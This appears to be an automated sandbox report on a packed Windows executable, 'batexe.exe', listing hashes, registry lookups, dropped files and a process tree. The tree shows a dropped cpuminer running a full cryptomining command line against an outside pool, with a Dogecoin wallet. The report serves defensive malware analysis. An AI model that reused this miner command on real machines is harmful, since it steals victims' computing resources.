73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
300s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
20/02/2024, 18:37

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3791175113-1062217823-1177695025-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
944	b2e.exe
1732	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1732	cpuminer-sse2.exe
1732	cpuminer-sse2.exe
1732	cpuminer-sse2.exe
1732	cpuminer-sse2.exe
1732	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2492-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2492 wrote to memory of 944	2492	batexe.exe	84
PID 2492 wrote to memory of 944	2492	batexe.exe	84
PID 2492 wrote to memory of 944	2492	batexe.exe	84
PID 944 wrote to memory of 2220	944	b2e.exe	85
PID 944 wrote to memory of 2220	944	b2e.exe	85
PID 944 wrote to memory of 2220	944	b2e.exe	85
PID 2220 wrote to memory of 1732	2220	cmd.exe	88
PID 2220 wrote to memory of 1732	2220	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2492
- C:\Users\Admin\AppData\Local\Temp\659F.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\659F.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\659F.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:944
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6959.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2220
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1732

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\659F.tmp\b2e.exe

Filesize
21.7MB

MD5
c778718973f253b7e38e29c73ad175f1

SHA1
2b6b7eb57610f95b3a115ea85424b36165bb6bc2

SHA256
f516ec084bf69acd2ab8cfc50cd3281808b7c66de182b0eb796497a0a390b0c5

SHA512
56e02a732c0db102d732455dcf7a0fdd8e77bf2c7ca2d60e3fd6bfaf164623305fc9b793b14123fe444e65210a6d6eac61b291c2b77fcab22995ec3fe8d5bafa

Download Submit
C:\Users\Admin\AppData\Local\Temp\659F.tmp\b2e.exe

Filesize
6.9MB

MD5
56c95cf0685c85cd9b966123b43e483c

SHA1
4b674311f3e6f98a57c019c6375334d55d764572

SHA256
df58de8aba51339b965d664e168421a658cccbfb78e79e63fa5e866d010d5b6c

SHA512
3c94e0f6b452dc6fc6dfcba8dbc1ebe984cd391823d5e642066f7ffbf198ecf7bf54cbbbb87e14c530fea8aaff9d38158571cda7358744129f8ff680ad446ad4

Download Submit
C:\Users\Admin\AppData\Local\Temp\659F.tmp\b2e.exe

Filesize
7.8MB

MD5
6236bc13b71ff5955d3ffcefeaf7031f

SHA1
b392ae0c130dac07984b7530248ae5603a54bd05

SHA256
964bf093a901a39a8f781dfd2ef48537158b0d2a28cb92d2840cebdbcbd357f8

SHA512
db4e12d7b2195e290888fc2ba0f09d361fc6ad92de5ad8c9b0632b1ddec2e5961eded7d48b365b63cbecba465fee6b60e3731b51c8f43af661f18f0c1a8cb6dd

Download Submit
C:\Users\Admin\AppData\Local\Temp\6959.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.3MB

MD5
c6a70299a07fa045f35301d35f6f06f7

SHA1
bb869373f68154a742a981c871eca329371da9c6

SHA256
d8e757088cff5b9c6ddf0b0539688546e8dd633e835398bfe0129be8e07139cd

SHA512
01c49f2db4edd0ed7e5305e81bea4f96c8ba06f98575d1086974bb2a68b278e5d723081edf8c92b44bf1b3b554644e2c181fac654df18d7f1460c56a5f8be6e7

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.1MB

MD5
3682fb33782d3dce451f31fbebb2464f

SHA1
23089ba96e5b4018afdfa4f7b79be58698fb1953

SHA256
1549c818dc4f53dce78699030468050fe8557d425e310dd9acf8bcf97436cbb8

SHA512
62526a5ad44733102bf5e40a505ed07ee63255a98602153d606f9c769e159eba8b0e9873f54bd8e4d1788ed19e37ce725df287909ebc2c773ced0eeac64f8f84

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.4MB

MD5
1b861a6b2cacfd16ed1dc14955a6d816

SHA1
6904505c0fb26279767fa415e746e2995ebb8b4d

SHA256
7330567ed4f133883a38343a9b20cfbbeca29ff316ebe5bf4954ecaeb79b1704

SHA512
8cb565ca8dcd1c57aef3349febcc81e6c50546c2b8e1a6d9366b7e05a9e5d00cfae889b40725d7e277f21592862c2fedde8e0f9c3b8f9582374abdb4a1a00260

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.1MB

MD5
fd81b0c4d90b157786dda0f4a6023715

SHA1
3718aa831b4ceeca4d6ebd187030d9829a7e3bde

SHA256
9b971c4a6e65f7e49d18dc53f7b077fe603ec63f9c0e7ea2daa060ff48cfa8cc

SHA512
4bf3ac2a4c4abaacd8d9b315f78b947710e02b0b3b9a91b4d43a588995a09e4279bee6a2171304a9cfcc9f19a3eaaa1ead7704cbd454711351a6299af012e1da

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/944-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/944-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1732-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1732-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1732-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1732-46-0x00000000598A0000-0x0000000059938000-memory.dmp

Filesize
608KB

Download
memory/1732-47-0x0000000001100000-0x00000000029B5000-memory.dmp

Filesize
24.7MB

Download
memory/1732-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1732-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1732-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1732-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1732-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1732-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1732-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1732-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2492-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download